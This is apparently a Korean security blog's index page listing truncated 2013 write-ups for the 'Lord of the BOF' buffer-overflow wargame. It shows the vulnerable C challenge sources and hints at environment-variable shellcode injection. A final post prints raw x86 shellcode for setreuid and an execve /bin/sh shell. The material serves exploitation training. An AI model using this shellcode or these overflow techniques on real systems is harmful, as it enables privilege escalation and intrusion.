View All
-
[LEVEL7] (darkelf -> orge) : check argv[0]Wargame/LordOfTheBof (redhat) 2013. 6. 27. 16:45
1. 문제 Source/* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])..
-
[LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunterWargame/LordOfTheBof (redhat) 2013. 6. 27. 16:04
1. 문제 Source/* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack..
-
[LEVEL5] (orc -> wolfman) : egghunter + bufferhunterWargame/LordOfTheBof (redhat) 2013. 6. 27. 13:25
1. 문제 Source/* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n")..
-
[LEVEL4] (goblin -> orc) : egghunterWargame/LordOfTheBof (redhat) 2013. 6. 26. 14:33
1. 문제 Source/* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(..
-
[LEVEL3] (cobolt -> goblin) : small buffer + stdinWargame/LordOfTheBof (redhat) 2013. 6. 26. 14:26
1. 문제 Source/* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); }LEVEL2와 마찬가지로 buffer의 공간이 16 Byte밖에 안된다.그리고 strcpy로 buffer에 값을 채우는 방식이 아니라 gets를 이용해 buffer에 값을 받는다.즉, 값을 프로그램에 전달하는 방법의 차이일뿐, 풀이법은 LEVEL2와 같다. 2. 환경변수에 shellcode 삽입우선 export 명령어로 환경변수에 shellcode를 삽입하고 env로 확인한다.[cobolt@localhost c..
-
[LEVEL2] (gremlin -> cobolt) : small bufferWargame/LordOfTheBof (redhat) 2013. 6. 26. 11:09
1. 문제 Source/* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }이전 문제와 달라진 점은 buffer의 사이즈이다. 256 Byte에서 16 Byte로 어마어마하게 줄어버렸다.buffer에 shellcode를 넣기에는 사이즈가 너무 적으니 환경변수를 이용하자. 2. 환경변수에 shellcode 삽입 export 명령어로 환경변수에 shellco..
-
[LEVEL1] (gate -> gremlin) : simple bofWargame/LordOfTheBof (redhat) 2013. 6. 25. 17:43
앞으로 작성하는 글은 BOF 원정대에 대한 풀이법 작성이 목적이기에, 기본적인 BOF의 원리나 방법에 대해선 작성하지 않겠다.기본적인 BOF의 사전지식은 비스트님이 작성하신 글을 참고하기 바란다. 1. 문제 Source /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }단순한 Buffer Over Flow 문제이다. buffer가 256 바이트로 선언..
-
ShellcodeSystem 2013. 6. 18. 11:25
// 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0..